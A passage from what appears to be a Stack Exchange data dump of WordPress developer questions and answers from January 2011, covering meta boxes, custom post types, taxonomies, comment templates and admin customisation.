$links);&#xA;}&#xA;&#xA;echo $getHtmlOfLinks('8,12,51'); # do the output, &#xA;# should give you (8), (12), (51) [brackets are linked]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or for your updated question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $getHtmlOfLinks(get_the_author_meta( 'offersiget', $id ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-01-21T18:19:00.157" LastActivityDate="2011-01-21T18:19:00.157" CommentCount="2" />
  <row Id="7448" PostTypeId="2" ParentId="7441" CreationDate="2011-01-21T17:38:20.103" Score="1" ViewCount="" Body="&lt;p&gt;As far as I know no one ever [publicly] documented it and all questions about that are met with &quot;it's like RSS, want documentation - do it yourself&quot;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-21T17:38:20.103" CommentCount="2" />
  <row Id="7449" PostTypeId="1" CreationDate="2011-01-21T17:41:03.360" Score="1" ViewCount="271" Body="&lt;p&gt;Hello and thank you for helping in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to create a widget that lives inside the post.php page for when editing a post that exists (Not new-post.php, I need an ID).  This custom widget is going to get the posts ID and shoot it to another database to store it, it'll do this through ajax and have it's own independent save button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty simple right?  Except I can't figure out how to get my widget to show on the post.php page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my test code in themes/myTheme/functions.php, just to try and get it in the right place...but it's not working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function artist_associator_dashboard_widget_function(){&#xA;    echo &quot;Hello world&quot;;&#xA;}&#xA;&#xA;function artist_associator_add_dashboard_widget(){&#xA;    wp_add_dashboard_widget('artist_associator_dashboard_widget', 'Artist Associator', 'artist_associator_dashboard_widget_function');&#xA;}&#xA;add_action('wp_dashboard_setup','artist_associator_add_dashboard_widget');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried putting in a few other actions that looked promising but it wasn't working out, couldn't find my functions.&lt;/p&gt;&#xA;" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-01-23T14:56:13.103" LastActivityDate="2011-01-23T14:56:13.103" Title="Creating a admin widget for /wp-admin/post.php?" Tags="&lt;widgets&gt;&lt;posts&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="7450" PostTypeId="2" ParentId="7449" CreationDate="2011-01-21T18:03:33.787" Score="1" ViewCount="" Body="&lt;p&gt;For one, Dashboard widgets (what you're using in the example) are for the main wordpress admin page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think what you want is &lt;a href=&quot;http://www.deluxeblogtips.com/2010/04/how-to-create-meta-box-wordpress-post.html&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;. You also want to look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;add_meta_box&lt;/a&gt; to look at how to add a metabox to your post screen. Here's some code from my current project that should help you to add a metabox to the post edit screen.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$m_visitor_info = array(&#xA;        'id' =&amp;gt; 'argus_edit_visitor',&#xA;        'name' =&amp;gt; 'Visitor Information',&#xA;        'cb' =&amp;gt; array( &amp;amp;$this, '_argus_edit_visitor' ),&#xA;        'type' =&amp;gt; 'visitor',&#xA;        'context' =&amp;gt; 'normal',&#xA;        'priority' =&amp;gt; 'high',&#xA;    );&#xA;&#xA;add_meta_box( $m_visitor_info['id'], $m_visitor_info['name'], $m_visitor_info['cb'], $m_visitor_info['type'], $m_visitor_info['context'], $m_visitor_info['priority'] );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change all to suit your preferences. Basically this creates me a custom metabox that appears as the primary input selection for the post (I don't use editor or title support). Context can either be &quot;normal,&quot; &quot;advanced,&quot; or &quot;side.&quot; I haven't found a use for 'advanced' though it's default for some reason..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, You'll probably need to throw in a check to see whether you're editing an existing page or you're creating a new post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though, a better solution perhaps would be to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_action&quot; rel=&quot;nofollow&quot;&gt;add_action&lt;/a&gt; to hook the &lt;code&gt;save_post&lt;/code&gt; event and use your ajax there to save the post ID to your external database.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-01-21T18:03:33.787" CommentCount="1" />
  <row Id="7452" PostTypeId="2" ParentId="4397" CreationDate="2011-01-21T18:52:52.933" Score="0" ViewCount="" Body="&lt;p&gt;I would check out &lt;a href=&quot;http://codecanyon.net/item/wordpress-premium-content/137192?ref=mordauk&quot; rel=&quot;nofollow&quot;&gt;Jigowatt's premium content plugin on Code Canyon.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using it for a large subscription now and it's working wonderfully.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-21T18:52:52.933" CommunityOwnedDate="2011-01-29T18:48:44.127" />
  <row Id="7453" PostTypeId="1" CreationDate="2011-01-21T18:53:55.977" Score="2" ViewCount="772" Body="&lt;p&gt;How can I &lt;strong&gt;add meta boxes&lt;/strong&gt; to the &lt;strong&gt;front end post submission form&lt;/strong&gt;? Similar to front end post submission that creates new posts, the form replies should go directly into the post meta boxes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Meta Boxes Code Example for post&lt;/strong&gt; from back-end to front-end &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;function admin_init(){&#xA;    add_meta_box(&quot;mia_post_meta&quot;, &quot;Information&quot;, &quot;mia_post_meta&quot;, &quot;post&quot;, &quot;normal&quot;, &quot;high&quot;);&#xA;}&#xA;add_action(&quot;admin_init&quot;, &quot;admin_init&quot;);&#xA;&#xA;function mia_post_meta($callback_args) {&#xA;    global $post;&#xA;&#xA;    $post_type = $callback_args-&amp;gt;post_type;&#xA;    $temp_array = array();&#xA;&#xA;    $temp_array = maybe_unserialize(get_post_meta($post-&amp;gt;ID,'mia_ev_settings',true));&#xA;&#xA;    $mia_ev_bday = isset( $temp_array['mia_ev_bday'] ) ? $temp_array['mia_ev_bday'] : '';   &#xA;    echo '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;jQuery(document).ready(function(){jQuery(&quot;#mia_ev_bday&quot;).simpleDatepicker();});&amp;lt;/script&amp;gt;';&#xA;&#xA;?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;mia_custom_settings&quot; style=&quot;margin: 13px 0 17px 4px;&quot;&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;mia_fs_setting&quot; style=&quot;margin: 13px 0 26px 4px;&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;mia_ev_bday&quot; style=&quot;color: #000; font-weight: bold;&quot;&amp;gt; Birthday: &amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; class=&quot;small-text&quot; value=&quot;&amp;lt;?php echo $mia_ev_bday; ?&amp;gt;&quot; id=&quot;mia_ev_bday&quot; name=&quot;mia_ev_bday&quot; size=&quot;67&quot; /&amp;gt;&#xA;                &amp;lt;br /&amp;gt;&#xA;                &amp;lt;small style=&quot;position: relative; top: 8px;&quot;&amp;gt;ex: &amp;lt;code&amp;gt;13 Jan, 2011&amp;lt;/code&amp;gt;&amp;lt;/small&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;add_action('save_post', 'save_details');&#xA;function save_details($post_id){&#xA;    global $post;&#xA;&#xA;    $temp_array = array();&#xA;&#xA;    if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;        return $post_id;&#xA;&#xA;    $temp_array['mia_ev_bday'] = isset($_POST[&quot;mia_ev_bday&quot;]) ? $_POST[&quot;mia_ev_bday&quot;] : '';&#xA;&#xA;    update_post_meta( $post-&amp;gt;ID, &quot;mia_ev_settings&quot;, $temp_array );&#xA;}&#xA;&#xA;function mia_bday_scripts(){&#xA;    wp_register_script('datepicker', get_bloginfo('template_directory').'/js/date/datepicker.js', array('jquery'));&#xA;    wp_enqueue_script('datepicker');&#xA;}&#xA;&#xA;function mia_style_css(){&#xA;    wp_register_style( 'datepicker', get_bloginfo('template_directory').'/js/date/datepicker.css');&#xA;    wp_enqueue_style('datepicker');&#xA;}&#xA;&#xA;add_action('admin_print_scripts', 'mia_date_scripts');&#xA;add_action('admin_print_styles', 'mia_style_css');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The mia_ev_bday should be filled out by users on the front-end as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FORM EXAMPLE on Front-end&lt;/strong&gt; see &lt;a href=&quot;http://i.stack.imgur.com/CivtN.jpg&quot; rel=&quot;nofollow&quot;&gt;Image&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The information added by users in the form should be displayed in the post and appear in the back-end meta box in the custom meta boxes.&lt;/p&gt;&#xA;" OwnerUserId="2650" LastEditorUserId="2650" LastEditorDisplayName="" LastEditDate="2011-01-22T09:35:29.170" LastActivityDate="2011-08-28T18:21:11.157" Title="Meta Boxes in Front End Post Submission Form" Tags="&lt;metabox&gt;&lt;front-end&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="5" />
  <row Id="7454" PostTypeId="2" ParentId="7445" CreationDate="2011-01-21T19:01:10.760" Score="1" ViewCount="" Body="&lt;p&gt;Your &lt;code&gt;get_the_author_meta()&lt;/code&gt; calls must be returning a string(following your comments), so what you'll need to do is split that string up into an array, loop over it and build an array of links, then join it back together at the end using a seperator.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;    Meh, no license, do as you want with it..&#xA;    Example code&#xA;*/&#xA;function ids_to_post_editlink( $ids = array(), $seperator = ' ' ) {&#xA;    if( empty( $ids ) || '' == $ids )&#xA;        return;&#xA;&#xA;    if( !is_array( $ids ) )&#xA;        $ids = explode( ',', $ids );&#xA;&#xA;    $links = array();&#xA;    $ids   = array_map( 'intval', $ids );&#xA;&#xA;    foreach( $ids as $pid )&#xA;        $links[] = &quot;&amp;lt;a href='&quot; . admin_url( &quot;post.php?action=edit&amp;amp;post=$pid&quot; ) . &quot;'&amp;gt;$pid&amp;lt;/a&amp;gt;&quot;;&#xA;&#xA;    return implode( $seperator, $links );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add that function alongside your code, then update your &lt;code&gt;get_the_author_meta&lt;/code&gt; calls to one of the following..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; // Default(space seperated)&#xA; return ids_to_post_editlink( get_the_author_meta( 'your-meta-key', $id ) );&#xA;&#xA; // Comma seperated &#xA; return ids_to_post_editlink( get_the_author_meta( 'your-meta-key', $id ), ', ' );&#xA;&#xA; // Pipe seperated &#xA; return ids_to_post_editlink( get_the_author_meta( 'your-meta-key', $id ), ' | ' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-01-21T19:01:10.760" CommentCount="5" />
  <row Id="7455" PostTypeId="1" AcceptedAnswerId="7457" CreationDate="2011-01-21T19:02:57.350" Score="1" ViewCount="42" Body="&lt;p&gt;On my single.php and index.php I'm including the comment entry routine with this code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(get_option('allow_comments_posts')){comments_template();} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when the specific post being viewed in single.php has &quot;Allow Comments&quot; unchecked, I don't want the comment template to appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was under the impression that the comments_template() routine automatically managed this, but apparently I need to wrap it or pass a paramater?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-21T19:13:42.717" Title="Comment entry screen shows even though &quot;Allow Comments&quot; is unchecked" Tags="&lt;theme-development&gt;&lt;comments&gt;" AnswerCount="1" />
  <row Id="7456" PostTypeId="1" AcceptedAnswerId="7481" CreationDate="2011-01-21T19:06:23.080" Score="5" ViewCount="471" Body="&lt;p&gt;I'm working on a site that will make use of a few custom taxonomies (for custom post types). I've chosen to make some of the taxonomies hierarchical because the method of inputting values (checking boxes) is more desirable for this site than the free-form input of non-hierarchical taxonomies. However, what I would &lt;strong&gt;really&lt;/strong&gt; like is to be able to use radio button inputs instead of check boxes. Additionally, I'd like to remove the dropdown that is used to choose the parent item in the taxonomy.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/txNOI.jpg&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I going about this the wrong way? Should I start with non-hierarchical taxonomies and modify the input methods on those instead? I'm completely open to input and will gladly answer any questions or supply more information if I can.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-02-13T20:00:32.087" Title="Altering the appearance of custom taxonomy inputs" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="4" />
  <row Id="7457" PostTypeId="2" ParentId="7455" CreationDate="2011-01-21T19:13:42.717" Score="2" ViewCount="" Body="&lt;p&gt;As far as I remember main purpose of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comments_template&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;comments_template()&lt;/code&gt;&lt;/a&gt; is to load template and specific logic should be handled inside that template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snippet from Twenty Ten &lt;code&gt;comments.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! comments_open() ) :&#xA;?&amp;gt;&#xA;    &amp;lt;p class=&quot;nocomments&quot;&amp;gt;&amp;lt;?php _e( 'Comments are closed.', 'twentyten' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endif; // end ! comments_open() ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-21T19:13:42.717" CommentCount="4" />
  <row Id="7458" PostTypeId="2" ParentId="7443" CreationDate="2011-01-21T19:18:44.923" Score="1" ViewCount="" Body="&lt;p&gt;If I understand you correctly, you want to change:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://www.ericmmartin.com/blog/page/2/&quot; class=&quot;next&quot;&amp;gt;»&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;li class=&quot;next&quot;&amp;gt;&amp;lt;a href=&quot;http://www.ericmmartin.com/blog/page/2/&quot; class=&quot;next&quot;&amp;gt;»&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides modifying the source, you could do it with a little jQuery magic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$('ol.wp-paginate .next').parent().addClass('next');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$('ol.wp-paginate .prev').parent().addClass('prev');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2651" LastActivityDate="2011-01-21T19:18:44.923" CommentCount="3" />
  <row Id="7459" PostTypeId="2" ParentId="1720" CreationDate="2011-01-21T19:54:47.283" Score="1" ViewCount="" Body="&lt;p&gt;Pro Theme Design's &lt;a href=&quot;http://prothemedesign.com/news/accumulo-aggregator-theme-released/&quot; rel=&quot;nofollow&quot;&gt;Accumulo&lt;/a&gt; theme for Wordpress gives you the functionality to add RSS widgets to aggregate content from feeds, inspired by Alltop &amp;amp; WPTopics.  A different layout organized by title, but you can see more on a page.&lt;/p&gt;&#xA;" OwnerUserId="2652" LastActivityDate="2011-01-21T19:54:47.283" />
  <row Id="7460" PostTypeId="2" ParentId="7453" CreationDate="2011-01-21T20:25:35.970" Score="0" ViewCount="" Body="&lt;p&gt;After your wp_insert_post code use:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_post_meta($post_id, 'name-of-custom-field', $customField, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change the 'name-of-custom-field' and add a form element $customField to put in the data of your form.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-01-21T20:25:35.970" CommentCount="3" />
  <row Id="7462" PostTypeId="1" CreationDate="2011-01-21T22:03:25.733" Score="0" ViewCount="119" Body="&lt;p&gt;I am developing a church media center using custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type called 'Series' and a custom post type called 'Sermons'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each Series must have an Title, Image, and Description. Naturally, each Series will be a collection of Sermons (Which will have Audio, Video, and other metadata).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to create a Parent/Child relationship with the Series and Sermons. Ideally, when creating a New Sermon entry, I'd like a dropdown list whose options are populated by any available Titles in the post type &quot;Series&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions in how to accomplish this?&lt;/p&gt;&#xA;" LastActivityDate="2011-08-30T08:36:55.110" Title="Custom Post Types - Titles as Taxonomies" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="7463" PostTypeId="1" AcceptedAnswerId="7480" CreationDate="2011-01-21T22:39:40.763" Score="0" ViewCount="257" Body="&lt;p&gt;When one creates a custom post type you have the ability to define various elements related to that post type which essentially allow you to define things such as the menu title, &quot;add new post&quot; text and stuff like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to figure out is what code I need to add to my functions.php file so I can set these things for an existing &quot;default&quot; post type which wordpress adds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for example lets say I want to change the &quot;Pages&quot; post type to &quot;Main Sections&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently what I have done is used the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'gettext', 'change_admin_menu_pages' );&#xA;add_filter( 'ngettext', 'change_admin_menu_pages' );&#xA;function change_admin_menu_pages( $translated ) {&#xA;    $translated = str_replace( 'Page', 'Core Page', $translated );&#xA;    $translated = str_replace( 'page', 'core page', $translated );&#xA;    return $translated;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although this works and just replaces every instance of &quot;pages&quot; with &quot;main sections&quot;, what I have noticed is that it also effects other areas of the site such as plugins which use &quot;pages=&quot; within their url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such... is there a simple way to define post type settings for default wordpress post types like &quot;pages&quot; and &quot;posts&quot;? If so, could someone please quickly illustrate how that might work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a different note... I feel that using the filter&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add_filter( 'ngettext',...)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;is actually very useful but what I don't understand is how to restrict the area where its allowed to filter things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An answer to both or either question would be greatly appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-21T22:51:04.073" LastActivityDate="2011-02-12T12:36:57.700" Title="How to change the admin menu &quot;Pages&quot; to something else" Tags="&lt;custom-post-types&gt;&lt;custom-menus&gt;&lt;functions&gt;&lt;menus&gt;&lt;regex&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="7464" PostTypeId="1" AcceptedAnswerId="7478" CreationDate="2011-01-21T22:49:52.607" Score="1" ViewCount="78" Body="&lt;p&gt;Personally I really dislike how wordpress shows all the &quot;popular terms&quot; in different sizes on the taxonomy add/edit screen in the admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a way to either remove this entire area completely by adding code to your functions.php file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and/or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to just change this specific area so that none of the popular terms show up with different font sizes/styles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you &lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-01-22T12:31:23.507" Title="Removing the &quot;Popular Terms&quot; area from the Taxonomy Edit Screen in the Admin Area" Tags="&lt;custom-taxonomy&gt;&lt;admin&gt;&lt;customization&gt;&lt;taxonomy&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="7465" PostTypeId="2" ParentId="7436" CreationDate="2011-01-21T23:16:36.147" Score="2" ViewCount="" Body="&lt;p&gt;Or, in WP3.1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query['meta_query'] = array(&#xA;    'key' =&amp;gt; 'votes',&#xA;    'value' =&amp;gt; '0',&#xA;    'compare' =&amp;gt; '!='&#xA;    ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="4229" LastEditorDisplayName="" LastEditDate="2011-06-29T03:50:37.917" LastActivityDate="2011-06-29T03:50:37.917" />
  <row Id="7466" PostTypeId="2" ParentId="6690" CreationDate="2011-01-21T23:23:06.583" Score="0" ViewCount="" Body="&lt;p&gt;What about if you simply want to add a number of checkboxes to a user profile and you want the checkboxes to print something on the front end of your wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There should be code that you have to add to create the checkboxes and make them editable under a user profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then a way to see if a checkbox is checked on the front end and print a result.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-21T23:23:06.583" CommentCount="2" />
  <row Id="7467" PostTypeId="1" AcceptedAnswerId="7477" CreationDate="2011-01-21T23:43:05.023" Score="0" ViewCount="103" Body="&lt;p&gt;Is there a plugin that allowed me to add google map embed code by only supplying address?&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2011-01-22T06:01:11.350" Title="Add Google Map By Address" Tags="&lt;plugin-recommendation&gt;&lt;map&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="7468" PostTypeId="1" AcceptedAnswerId="7476" CreationDate="2011-01-21T23:58:35.127" Score="0" ViewCount="614" Body="&lt;p&gt;I have created a custom post type called &quot;events&quot; and have also created a custom taxonomy which only shows up on this specific post type through which the admin must select an &quot;event category&quot; (terms).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently on the public site when the event detail page is requested it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.domain-name.com/events/title-of-the-event&quot; rel=&quot;nofollow&quot;&gt;http://www.domain-name.com/events/title-of-the-event&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, on the public side a web browser can access just a specific event category to view all associating events where the url looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.domain-name.com/events/event-category&quot; rel=&quot;nofollow&quot;&gt;http://www.domain-name.com/events/event-category&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of the above situations currently works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I am having is that I would like to customize the URL slug for the event details page as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of having the event detail page slug being built from the entered title I would like for it to include the taxonomy term and a specific custom field. In end effect I would like for it to look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.domain-name.com/events/&amp;lt;taxonomy-term&amp;gt;-event-title-&amp;lt;custom-field&amp;gt;/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;taxonomy-term&amp;gt;&lt;/code&gt; is the event category (the way I programed the metabox the admin is only able to select a single term).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;custom-field&amp;gt;&lt;/code&gt; is a specific custom field the user is required to enter before the event post can be saved.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I might go about doing this correctly? All my experiments have led nowhere.&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-22T02:50:02.260" LastActivityDate="2011-01-22T23:24:37.220" Title="Interesting Custom Post Type Slug with Taxonomy and Custom Field" Tags="&lt;custom-post-types&gt;&lt;customization&gt;&lt;url-rewriting&gt;&lt;slug&gt;&lt;mod-rewrite&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" />
  <row Id="7469" PostTypeId="2" ParentId="7467" CreationDate="2011-01-22T00:31:06.667" Score="1" ViewCount="" Body="&lt;p&gt;Map Press would work, but you have to enter each address  individually and then it generates a short code that you insert into a post/page &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/mappress-google-maps-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/mappress-google-maps-for-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-01-22T00:31:06.667" CommentCount="1" />
  <row Id="7470" PostTypeId="2" ParentId="6666" CreationDate="2011-01-22T02:00:38.603" Score="1" ViewCount="" Body="&lt;p&gt;I do not think its because the tracking code is stripped out but that it never made it to your 'Author Box.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll try to look into the plugin later, but my guess is that the plugin will filter the page's content from hooks and filters.&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2011-01-22T02:00:38.603" CommunityOwnedDate="2011-01-22T02:00:38.603" />
  <row Id="7472" PostTypeId="1" AcceptedAnswerId="7501" CreationDate="2011-01-22T03:20:03.423" Score="12" ViewCount="790" Body="&lt;p&gt;I found that the longest part of a plugin or theme development is creating the options panel, at least in my case.&#xA;So i like to know what's your take on that.&#xA;Do you use a ready made framework or class? And if so witch one?&#xA;Or do you write it up from scratch?  Use the settings API or plain options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-14T16:10:02.800" Title="framework for plugin/theme options panel?" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;&lt;options&gt;" AnswerCount="4" CommentCount="8" FavoriteCount="16" />
  <row Id="7473" PostTypeId="1" AcceptedAnswerId="7627" CreationDate="2011-01-22T04:45:43.093" Score="4" ViewCount="239" Body="&lt;p&gt;I'm cleaning up an old, controversial blog entry and I need to remove all the comments from the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surprisingly, I can't find a way to do this within the existing WordPress (3.0.4) UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can certainly go through and click &quot;trash&quot; on all 200+ comments, but that seems.. excessive. Is there another way to do this that I am missing?&lt;/p&gt;&#xA;" OwnerUserId="152" LastActivityDate="2011-01-24T16:28:20.643" Title="How do I delete all comments from a specific old blog post?" Tags="&lt;comments&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="7474" PostTypeId="1" AcceptedAnswerId="8906" CreationDate="2011-01-22T05:13:38.530" Score="0" ViewCount="225" Body="&lt;p&gt;This problem was reported on the WP forum a month ago: &lt;a href=&quot;http://wordpress.org/support/topic/error-when-trying-to-logout&quot; rel=&quot;nofollow&quot;&gt;Error when trying to logout&lt;/a&gt;. Whenever you logout, you get (Chrome):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;This webpage is not available.&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The webpage at&#xA;  &lt;a href=&quot;http://my.site.com/blog/wp-login.php?action=logout&amp;amp;_wpnonce=2d5b319c49&quot; rel=&quot;nofollow&quot;&gt;http://my.site.com/blog/wp-login.php?action=logout&amp;amp;_wpnonce=2d5b319c49&lt;/a&gt;&#xA;  might be temporarily down or it may&#xA;  have moved permanently to a new web&#xA;  address.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;More information on this error Below&#xA;  is the original error message&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Error 101 (net::ERR_CONNECTION_RESET):&#xA;  Unknown error.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've had this problem since at least 3.0.2 and it's still there with 3.0.4. My host is IPOWER.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone here has seen this problem, and even more importantly, has a 